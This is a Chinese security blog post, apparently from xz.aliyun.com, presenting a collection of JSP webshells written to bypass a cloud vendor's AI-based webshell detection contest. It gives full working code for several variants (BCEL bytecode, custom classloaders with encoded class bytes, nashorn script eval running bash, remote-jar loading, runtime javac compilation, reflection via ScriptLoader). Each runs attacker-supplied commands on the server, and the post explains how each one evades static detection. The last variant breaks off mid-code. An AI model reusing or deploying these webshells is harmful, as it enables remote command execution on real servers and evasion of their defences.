都0202年了老嗨还在用的 - 各种姿势jsp webshell
2020-05-29 10:44:55 Author: xz.aliyun.com(查看原文) 阅读量:957 收藏

最近,我的朋友“老嗨”,他参加了一个某云举办的号称可能史上最强的使用了AI技术的Webshell检测系统挑战赛...因为我没什么时间去搞这个,所以,我把我珍藏多年,姿势比较多的JSP Webshell发给了老嗨,老嗨跟我说,全部bypass了,但最后的结果非常惨烈,有被抢了的,有的因为没适配windows导致降级的,也有因为裁判机使用了openjdk亦或者他根本不会java瞎配的classpath导致不能运行的,惨惨。

老嗨跟我说,经过一轮轮的battle,引擎的检测能力有没有加强他不知道,但是他说每周日PHP都能快速更新引擎,而JSP至今快结束了都未曾更新,简直就是脑补bypass,我感觉JSP在这次比赛中就是个弟弟,不知道是不是举办方在Java方面能力有所欠缺,还是JSP检测引擎的存在只是PHP的衬托,好宣称不但支持PHP Webshell,还支持jsp的检查?不过这只是我的猜测,切不可当真,呵呵。

JSP Webshell本来局限就比较大,来来去去都是那些个函数方法,姿势也不算多,虽然引擎没更新,但是毕竟很多姿势都被抢了,所以后面的挑战会越来越难,不像PHP,被phper们简直刷爆,xm$l。

今天这篇文章主要是分享一下各种JSP执行命令的姿势,和描述一些存在静态检测机制的系统,如何以各种姿势去绕过,但其实认真看会发现,多数都runtime.exec、反射、字节码、反序列化、表达式执行等姿势,以及如何去回显,代码可能是随意写的,但是重点还是姿势(不同的核心class method),分享给大家。

github地址:https://github.com/threedr3am/JSP-Webshells

一、使用BCEL字节码的JSP Webshell

<%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %>
<html>
<body>
<h2>BCEL字节码的JSP Webshell</h2>
<%
    String bcelCode = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85U$5bW$hU$U$fe$86$ML$Y$a6$40$93r$d5$e2$8d$dap$ebh$eb$a5$96$8a6$I$V$N$X$81$82$Uo$93$c9$n$M$9d$cc$c4$c9$a4$82w$fd$N$fe$H_$adKC$97$b8$7c$f4$c1G$7f$86$bf$c1e$fd$ce$q$40b$c2$f2a$ce$99$b3$f7$9e$bd$bf$fd$ed$bd$cf$fc$f1$cf$_$bf$Bx$B$df$ea$Y$c6$8c$86$d7t$b4$c9$fdu$N$b7t$a41$x$977t$cca$5eG$3bn$ebP$f1$a6$5c$W$a4$e1$5bq$bc$z$f7L$tz$b1$a8aI$c72V$e2xG$c7$w$d6t$ac$e3$8e$5c6tl$e2$ddNl$e1n$i$db$3a$de$c3$fb$g$3eP$Q$LDIA$o$b3g$dd$b7L$d7$f2$f2$e6Z$Y8$5e$7eZA$c7M$c7s$c2$Z$F$7d$a9f$f5$d8$86$Cu$d6$cf$J$F$3d$Z$c7$TK$e5BV$E$ebV$d6$V$d2$9do$5b$ee$86$V8$f2$5c$T$aa$e1$ae$c3P$X2$eb$bb$81$Q$b9$e0$9aU$d8$U$d9$b5$5d$e1$ba$M$W$b3$L9$F$e7J$91$f7t$d9qs$oP0$d4$U$b8$a6$e2$X$dd$d9$f2$ce$8e$IDnUX$91$f1$60$d5$d8$f1$cdt$83$86$b6$aaK$88t$bf$WZ$f6$bdE$ab$YA$oW$g$3e$q$df$a4Z$81$3e$b7o$8bb$e8$f8$5eI$c3G$K$e2$a1_$8dH$c8$a9$b1V$fc$a8$F$cb$f1$U$f4$a7$b6$cf$a0$c7$K$f2L8$d9B$ad$a0$cb$f1$8a$e5$90Ga$V$c8$f0$J$f4$85S1$ad$da$b3$H$a1$acO$dbv$9a$fe$ec$88n$7d$cd$_$H$b6$98w$q$a9$D$cdd$5e$91$ae$M$5c$84E$f5$Z$f4$Ruk$aeHy$L$qU$9d$86$ac$B$h9$D$C$3b$g$f2$Gv$e1$c8$40$7br$b9g$c0$c5U$D$F$90$TE7$f0$bc$3c$3d$86$c7$d9$O$cd$m5$f8$G$8a$f8$98Uk$91$81$edZ$rV$n0PB$a8$a1l$e0$3e$3e1$b0$8f$D$N$9f$g$f8$M$9fk$f8$c2$c0$97$f8$8au$g$jM$cf$ceeFG5$7cm$e0$h$8c$u$e8$3d$cdz9$bb$t$ec$b0At$5c$d5$e4I$a2$cb$t$a5g$l$a6d$e9$ce$9f$9a$af$96$bd$d0$vH$de$f3$o$3c9$f45$b4DM$y$7bB$ec$L$5b$c1$e5V$TS$tZ$J$7c$5b$94J$d3$N$91jBv6$p$z$d4$b7$c7$c0q$b4$a6$G$ZL$b5T$c8$i$92$a7$aa$da$iHi$9c$fa$5c$s$9a$86$O$abX$U$k$a7n$ea$7f$d0$few$f2zNU$b3$b2RU$c4$d1k$c6$afuQ$D$3fu$w$7e$de$d7RA$c0$92$60Q$8a$ba$fbV$e98$f7$b1$b3$c15$b1$91l$nV$d0I$a1$e3V$_$n$96w$81U$92$qp$baR$dbiy$bcj$fb$F$b3T$f6L$3f$c8$9bV$d1$b2w$85$99$b5$85k$3a$5e$u$C$cfr$cd$a8$nw8q$e6$9d$d0q$9d$f0$80$ec$J$af$3a$8f$D$f4r$b7$e5$FQ$dft$H$a5P$QK$cc$_$87$f5$e3$beB$d3$W$f8$eb$c4$K$b4$a2$3c$b9$k$9e$e2$N$3f$cc_$85$c2$87$83$c55$c6$f7$8b$Y$e1$f5$ff$EO$7f$a2$83$ff$H$e0$f6$f8$n$94$p$b4m$j$o$b6x$Eu$eb$I$ed$5b$P$d11Q$81VA$fc$Q$9d$87$d0$97$a6$w$e8$da$ba$a1$fe$8e$c4$e4$90Z$81$918$c7e$f3$fbG$7f$8dOV$d0$fd3z$kD$B$9e$e4$3a$C$8dk7$7f9$3d0$I$e2$S$S0$91$c4$M$fa0$8f$7e$C$93$ff$af$u4$9e$c63$40$f46J$88$K$ed$a7i$ff$y$n$5e$a2$ee2R$f49I$f8c$d4$aa$Y$8fRi$7bD$a5$aaaB$c3$a4$86$v$NW$80$bf1$c8$T$c3$80f$K$9e$e3$c3$h$85$ab$cc$d4$e4$$Yh$l$ff$J$3d$3f$f0$a5$z$c2$d9$R$J$87$p$3cF$d5$a0$86$a7$T$d7$88$b0J$d3wD$a0r$bf$9e$e8$ad$e0$7c$oQA2Cj$$$fc$g_$9c$60$ea$7d$9b$93$eaC$f4$_$fd$88$81$g$87$89A2C$ba$M$f2R$c1$d0$83$93x$c3$8c$u$d9$e9$a2$df$E$r$83$8c$3c$c2$88$_3$a6$c40$5e$8d$83$X$f1$S$f7$$LQs$9d$b8$S$e4$e3$V$dc$a0$97$R$fa$98$s$T$b1$86DoF$R$5e$fd$X$cb$B$rU$g$I$A$A";
    response.getOutputStream().write(String.valueOf(new ClassLoader().loadClass(bcelCode).getConstructor(String.class).newInstance(request.getParameter("threedr3am")).toString()).getBytes());
%>
</body>
</html>

上述使用了com.sun.org.apache.bcel.internal.util.ClassLoader直接加载BCEL格式的字节码,实现了bypass某云的Webshell的检测。

而BCEL字节码的生成,以及执行指令的恶意类如下:

import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

/**
 * @author threedr3am
 */
public class Threedr3am {

    String res;

    public Threedr3am(String cmd) throws IOException {
        StringBuilder stringBuilder = new StringBuilder();
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
        String line;
        while((line = bufferedReader.readLine()) != null) {
            stringBuilder.append(line).append("\n");
        }
        res = stringBuilder.toString();
    }

    @Override
    public String toString() {
        return res;
    }

    public static void main(String[] args) throws IOException {
        InputStream inputStream = Threedr3am_15.class.getClassLoader().getResourceAsStream("Threedr3am.class");
        byte[] bytes = new byte[inputStream.available()];
        inputStream.read(bytes);
        String code = Utility.encode(bytes, true);
        System.out.println("$$BCEL$$" + code);
    }
}

因为BCEL生成的时候是不带前缀$$BCEL$$的,所以需要我们自己补充上。

这里有个trick就是,因为某云禁了invoke的调用,我这里override了toString方法,使用它进行对命令执行结果的带出,其实这样的绕过还有很多,比如throw异常、写文件、寄存到static field、设置到System property等等都是可以的,请继续看后面的webshell。

二、使用自定义类加载器的JSP Webshell

<%@ page import="java.security.PermissionCollection" %>
<%@ page import="java.security.Permissions" %>
<%@ page import="java.security.AllPermission" %>
<%@ page import="java.security.ProtectionDomain" %>
<%@ page import="java.security.CodeSource" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.util.Base64" %>
<html>
<body>
<h2>自定义类加载器的JSP Webshell</h2>
<%
    response.getOutputStream().write(new ClassLoader() {

        @Override
        public Class<?> loadClass(String name) throws ClassNotFoundException {
            if (name.contains("Threedr3am_2")) {
                return findClass(name);
            }
            return super.loadClass(name);
        }

        @Override
        protected Class<?> findClass(String name) throws ClassNotFoundException {
            try {
                byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAiAoAGgA+BwA/CgACAD4HAEAHAEEKAEIAQwoAQgBECgBFAEYKAAUARwoABABICgAEAEkKAAIASggASwoAAgBMCQAQAE0HAE4KAE8AUAgAUQoAUgBTCgBUAFUKAFQAVgoAVwBYCgBZAFoJAFsAXAoAXQBeBwBfAQADcmVzAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA5MVGhyZWVkcjNhbV8yOwEAA2NtZAEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQANU3RhY2tNYXBUYWJsZQcATgcAYAcAPwcAQAEACkV4Y2VwdGlvbnMHAGEBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAC2lucHV0U3RyZWFtAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAFYnl0ZXMBAAJbQgEABGNvZGUBAApTb3VyY2VGaWxlAQARVGhyZWVkcjNhbV8yLmphdmEMAB0AYgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAGMMAGQAZQwAZgBnBwBoDABpAGoMAB0AawwAHQBsDABtADIMAG4AbwEAAQoMADEAMgwAGwAcAQAMVGhyZWVkcjNhbV8yBwBwDABxAHIBABJUaHJlZWRyM2FtXzIuY2xhc3MHAHMMAHQAdQcAdgwAdwB4DAB5AHoHAHsMAHwAfwcAgAwAgQCCBwCDDACEAIUHAIYMAIcAHgEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAAygpVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAA9qYXZhL2xhbmcvQ2xhc3MBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBABNnZXRSZXNvdXJjZUFzU3RyZWFtAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9pby9JbnB1dFN0cmVhbTsBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAJYXZhaWxhYmxlAQADKClJAQAEcmVhZAEABShbQilJAQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBAAdFbmNvZGVyAQAMSW5uZXJDbGFzc2VzAQAcKClMamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyOwEAGGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgAhABAAGgAAAAEAAAAbABwAAAADAAEAHQAeAAIAHwAAANIABgAFAAAARyq3AAG7AAJZtwADTbsABFm7AAVZuAAGK7YAB7YACLcACbcACk4ttgALWToExgASLBkEtgAMEg22AAxXp//qKiy2AA61AA+xAAAAAwAgAAAAHgAHAAAADgAEAA8ADAAQACUAEgAvABMAPgAVAEYAFgAhAAAANAAFAAAARwAiACMAAAAAAEcAJAAcAAEADAA7ACUAJgACACUAIgAnACgAAwAsABsAKQAcAAQAKgAAABsAAv8AJQAEBwArBwAsBwAtBwAuAAD8ABgHACwALwAAAAQAAQAwAAEAMQAyAAEAHwAAAC8AAQABAAAABSq0AA+wAAAAAgAgAAAABgABAAAAGgAhAAAADAABAAAABQAiACMAAAAJADMANAACAB8AAACEAAIABAAAACgSELYAERIStgATTCu2ABS8CE0rLLYAFVe4ABYstgAXTrIAGC22ABmxAAAAAgAgAAAAGgAGAAAAHgALAB8AEgAgABgAIQAgACIAJwAjACEAAAAqAAQAAAAoADUANgAAAAsAHQA3ADgAAQASABYAOQA6AAIAIAAIADsAHAADAC8AAAAEAAEAMAACADwAAAACAD0AfgAAAAoAAQBZAFcAfQAJ");
                PermissionCollection pc = new Permissions();
                pc.add(new AllPermission());
                ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
                return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
            } catch (Exception e) {
                e.printStackTrace();
            }
            return super.findClass(name);
        }
    }.loadClass("Threedr3am_2").getConstructor(String.class).newInstance(request.getParameter("threedr3am")).toString().getBytes());
%>
</body>
</html>

这里的自定义类加载器,重写了loadClass、findClass方法,实现在使用类加载器加载类时,使用jsp中硬编码的恶意字节码。

字节码输出以及恶意类的编写如下:

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.Base64;

/**
 * @author threedr3am
 */
public class Threedr3am_2 {

    String res;

    public Threedr3am_2(String cmd) throws IOException {
        StringBuilder stringBuilder = new StringBuilder();
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
        String line;
        while((line = bufferedReader.readLine()) != null) {
            stringBuilder.append(line).append("\n");
        }
        res = stringBuilder.toString();
    }

    @Override
    public String toString() {
        return res;
    }

    public static void main(String[] args) throws IOException {
        InputStream inputStream = Threedr3am_2.class.getClassLoader().getResourceAsStream("Threedr3am_2.class");
        byte[] bytes = new byte[inputStream.available()];
        inputStream.read(bytes);
        String code = Base64.getEncoder().encodeToString(bytes);
        System.out.println(code);
    }
}

跟前面的一样,也是通过重写toString方法进行命令执行结果的带出,主要也是因为这种方式比较简易。

三、使用ScriptEngine.eval的JSP Webshell

<%@ page import="javax.script.ScriptEngineManager" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<html>
<body>
<h2>ScriptEngine.eval的JSP Webshell</h2>
<%
    String s1 = "s=[3];s[0]='/bin/bash';s[1]='-c';s[2]='";
    String s2 = request.getParameter("threedr3am");
    String s3 = new String(Base64.getDecoder().decode("JztqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhzKTs="));
    Process process = (Process) new ScriptEngineManager().getEngineByName("nashorn").eval(s1 + s2 + s3);
    InputStream inputStream = process.getInputStream();
    StringBuilder stringBuilder = new StringBuilder();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
    String line;
    while((line = bufferedReader.readLine()) != null) {
        stringBuilder.append(line).append("\n");
    }
    if (stringBuilder.length() > 0) {
        response.getOutputStream().write(stringBuilder.toString().getBytes());
    }
%>
</body>
</html>

这个比较简单,就是使用了jdk自带的ScriptEngine执行脚本的方式进行执行命令。

四、使用URLClassLoader加载远程jar的JSP Webshell

<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<html>
<body>
<h2>URLClassLoader加载远程jar的JSP Webshell</h2>
<%
    response.getOutputStream().write(new URLClassLoader(new URL[]{new URL("http://127.0.0.1:80/threedr3am.jar")}).loadClass("Threedr3am_4").getConstructor(String.class).newInstance(String.valueOf(request.getParameter("threedr3am"))).toString().getBytes());
%>
</body>
</html>

这个jsp webshell使用了URLClassLoader加载远程恶意jar,在loadClass时触发恶意代码执行,这种方式的Webshell,如果遇到了限制出网的情况,可能就没用了。

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.Base64;

/**
 * @author threedr3am
 */
public class Threedr3am_4 {

    String res;

    public Threedr3am_4(String cmd) throws IOException {
        StringBuilder stringBuilder = new StringBuilder();
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
        String line;
        while((line = bufferedReader.readLine()) != null) {
            stringBuilder.append(line).append("\n");
        }
        res = stringBuilder.toString();
    }

    @Override
    public String toString() {
        return res;
    }

}

五、使用javac动态编译class的JSP Webshell

<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.nio.charset.Charset" %>
<%@ page import="java.nio.file.Files" %>
<%@ page import="java.nio.file.Paths" %>
<%@ page import="java.util.Locale" %>
<%@ page import="javax.tools.DiagnosticCollector" %>
<%@ page import="javax.tools.JavaCompiler" %>
<%@ page import="javax.tools.JavaFileObject" %>
<%@ page import="javax.tools.StandardJavaFileManager" %>
<%@ page import="javax.tools.ToolProvider" %>
<%@ page import="java.util.Random" %>
<%@ page import="java.io.File" %>
<html>
<body>
<h2>javac动态编译class的JSP Webshell</h2>
<%
    String c = request.getParameter("threedr3am");
    String tmpPath = Files.createTempDirectory("threedr3am").toFile().getPath();
    JavaCompiler javaCompiler = ToolProvider.getSystemJavaCompiler();
    DiagnosticCollector<JavaFileObject> diagnostics = new DiagnosticCollector();
    StandardJavaFileManager standardJavaFileManager = javaCompiler
            .getStandardFileManager(diagnostics, Locale.CHINA, Charset.forName("utf-8"));
    int id = new Random().nextInt(10000000);
    StringBuilder stringBuilder = new StringBuilder()
            .append("import java.io.BufferedReader;\n")
            .append("import java.io.IOException;\n")
            .append("import java.io.InputStream;\n")
            .append("import java.io.InputStreamReader;\n")
            .append("public class Threedr3am" + id + " {\n")
            .append("   public static String result = \"\";\n")
            .append("   public Threedr3am" + id + "() throws Throwable  {\n")
            .append("        StringBuilder stringBuilder = new StringBuilder();\n")
            .append("        try {")
            .append("               BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"" + c + "\").getInputStream()));\n")
            .append("               String line;\n")
            .append("               while((line = bufferedReader.readLine()) != null) {\n")
            .append("                       stringBuilder.append(line).append(\"\\n\");\n")
            .append("               }\n")
            .append("               result = stringBuilder.toString();\n")
            .append("        } catch (Exception e) {\n")
            .append("              e.printStackTrace();\n")
            .append("        }\n")
            .append("        throw new Throwable(stringBuilder.toString());")
            .append("   }\n")
            .append("}");
    Files.write(Paths.get(tmpPath + File.separator + "Threedr3am" +id + ".java"), stringBuilder.toString().getBytes());
    Iterable fileObject = standardJavaFileManager.getJavaFileObjects(tmpPath + File.separator + "Threedr3am" +id + ".java");
    javaCompiler.getTask(null, standardJavaFileManager, diagnostics, null, null, fileObject).call();
    try {
        new URLClassLoader(new URL[]{new URL("file:" + tmpPath + File.separator)}).loadClass("Threedr3am" + id).newInstance();
    } catch (Throwable e) {
        response.getOutputStream().write(e.getMessage().getBytes());
    }
%>
</body>
</html>

这是一个利用了jdk自带的javac进行动态编译class的jsp webshell,stringBuilder中的内容就是java源码内容,我们可以通过加密或编码的方式对其内容进行隐匿,避免被检测到,还有就是,这里使用了和前面不一样的方式去对命令执行结果的带出,具体是使用了field字段进行寄存,最后HTTP响应返回时从其中取出返回。

理论上这个马,也是有一点点小限制的,限制的点就在于ToolProvider.getSystemJavaCompiler,按照官方文档的说法,这个api主要是提供给桌面端使用的,也就是说,服务器端可能会获取不到编译器对象。

六、使用了jdk.nashorn.internal.runtime.ScriptLoader类加载器加载的JSP Webshell

<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.security.CodeSource" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.util.Base64" %>
<%@ page import="jdk.nashorn.internal.runtime.Context" %>
<%@ page import="jdk.nashorn.internal.runtime.options.Options" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<%@ page import="sun.reflect.misc.MethodUtil" %>
<html>
<body>
<h2>jdk.nashorn.internal.runtime.ScriptLoader类加载器加载的JSP Webshell</h2>
<%
    Class c = Class.forName("jdk.nashorn.internal.runtime.ScriptLoader");
    final Constructor constructor = c.getDeclaredConstructor(Context.class);
    constructor.setAccessible(true);
    final Method m = c.getDeclaredMethod("installClass", String.class, byte[].class, CodeSource.class);
    m.setAccessible(true);
    class A {
        B b;
        final class B {
            private Object o;
            private Object[] oo;

            public B() throws IllegalAccessException, InvocationTargetException, InstantiationException {
                o = constructor.newInstance(new Context(new Options(""), null, null));
                oo = new Object[]{"Threedr3am_6", Base64.getDecoder().decode("yv66vgAAADQAiAoAGgA+BwA/CgACAD4HAEAHAEEKAEIAQwoAQgBECgBFAEYKAAUARwoABABICgAEAEkKAAIASggASwoAAgBMCQAQAE0HAE4KAE8AUAgAUQoAUgBTCgBUAFUKAFQAVgoAVwBYCgBZAFoJAFsAXAoAXQBeBwBfAQADcmVzAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA5MVGhyZWVkcjNhbV82OwEAA2NtZAEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQANU3RhY2tNYXBUYWJsZQcATgcAYAcAPwcAQAEACkV4Y2VwdGlvbnMHAGEBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAC2lucHV0U3RyZWFtAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAFYnl0ZXMBAAJbQgEABGNvZGUBAApTb3VyY2VGaWxlAQARVGhyZWVkcjNhbV82LmphdmEMAB0AYgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAGMMAGQAZQwAZgBnBwBoDABpAGoMAB0AawwAHQBsDABtADIMAG4AbwEAAQoMADEAMgwAGwAcAQAMVGhyZWVkcjNhbV82BwBwDABxAHIBABJUaHJlZWRyM2FtXzYuY2xhc3MHAHMMAHQAdQcAdgwAdwB4DAB5AHoHAHsMAHwAfwcAgAwAgQCCBwCDDACEAIUHAIYMAIcAHgEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAAygpVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAA9qYXZhL2xhbmcvQ2xhc3MBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBABNnZXRSZXNvdXJjZUFzU3RyZWFtAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9pby9JbnB1dFN0cmVhbTsBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAJYXZhaWxhYmxlAQADKClJAQAEcmVhZAEABShbQilJAQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBAAdFbmNvZGVyAQAMSW5uZXJDbGFzc2VzAQAcKClMamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyOwEAGGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgAhABAAGgAAAAEAAAAbABwAAAADAAEAHQAeAAIAHwAAANIABgAFAAAARyq3AAG7AAJZtwADTbsABFm7AAVZuAAGK7YAB7YACLcACbcACk4ttgALWToExgASLBkEtgAMEg22AAxXp//qKiy2AA61AA+xAAAAAwAgAAAAHgAHAAAADgAEAA8ADAAQACUAEgAvABMAPgAVAEYAFgAhAAAANAAFAAAARwAiACMAAAAAAEcAJAAcAAEADAA7ACUAJgACACUAIgAnACgAAwAsABsAKQAcAAQAKgAAABsAAv8AJQAEBwArBwAsBwAtBwAuAAD8ABgHACwALwAAAAQAAQAwAAEAMQAyAAEAHwAAAC8AAQABAAAABSq0AA+wAAAAAgAgAAAABgABAAAAGgAhAAAADAABAAAABQAiACMAAAAJADMANAACAB8AAACEAAIABAAAACgSELYAERIStgATTCu2ABS8CE0rLLYAFVe4ABYstgAXTrIAGC22ABmxAAAAAgAgAAAAGgAGAAAAHgALAB8AEgAgABgAIQAgACIAJwAjACEAAAAqAAQAAAAoADUANgAAAAsAHQA3ADgAAQASABYAOQA6AAIAIAAIADsAHAADAC8AAAAEAAEAMAACADwAAAACAD0AfgAAAAoAAQBZAFcAfQAJ"), new CodeSource(null, (Certificate[]) null)};
            }
        }

        public A() throws IllegalAccessException, InstantiationException, InvocationTargetException {
            b = new B();
        }

        public Class invokex(Method method)
                throws InvocationTargetException, IllegalAccessException {
            return (Class) MethodUtil.invoke(method, b.o, b.oo);
        }
    }

    Class target = new A().invokex(m);
    response.getOutputStream().write(target.getConstructor(String.class).newInstance(request.getParameter("threedr3am")).toString().getBytes());
%>
</body>
</html>

这个马和前面的自定义类加载器没什么大区别,但是是使用了jdk.nashorn.internal.runtime.ScriptLoader,这种情况只是想展示不一样的姿势,最主要的是,如果某些类加载器被禁用了,就可以使用这个特殊的类加载器去加载字节码执行,不过其实还是需要调用invoke进行加载的,而某云的检测还是会检测到的,但是这里使用了多层的内部类形式,成功的绕过了某云的检测,invoke的绕过不是重点,重点的是想说一下有这样的一个类加载器。

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.Base64;

/**
 * @author threedr3am
 */
public class Threedr3am_6 {

    String res;

    public Threedr3am_6(String cmd) throws IOException {
        StringBuilder stringBuilder = new StringBuilder();
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
        String line;
        while((line = bufferedReader.readLine()) != null) {
            stringBuilder.append(line).append("\n");
        }
        res = stringBuilder.toString();
    }

    @Override
    public String toString() {
        return res;
    }

    public static void main(String[] args) throws IOException {
        InputStream inputStream = Threedr3am_6.class.getClassLoader().getResourceAsStream("Threedr3am_6.class");
        byte[] bytes = new byte[inputStream.available()];
        inputStream.read(bytes);
        String code = Base64.getEncoder().encodeToString(bytes);
        System.out.println(code);
    }
}

七、使用内部类绕某云检测java.lang.ProcessImpl以及invoke的一个JSP Webshell

<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Map" %>
<%@ page import="sun.reflect.misc.MethodUtil" %>
<html>
<body>
<h2>java.lang.ProcessImpl JSP Webshell</h2>
<%
    try {
        final String s = request.getParameter("threedr3am");
        class A {

            B b;

            final class B {

                private Method o;
                private Object oo;
                private Object[] ooo;

                public B() throws ClassNotFoundException, NoSuchMethodException {
                    Class clz = Class.forName("java.lang.ProcessImpl");
                    Method method = clz
                            .getDeclaredMethod("start", String[].class, Map.class, String.class,
                                    ProcessBuilder.Redirect[].class, boolean.class);
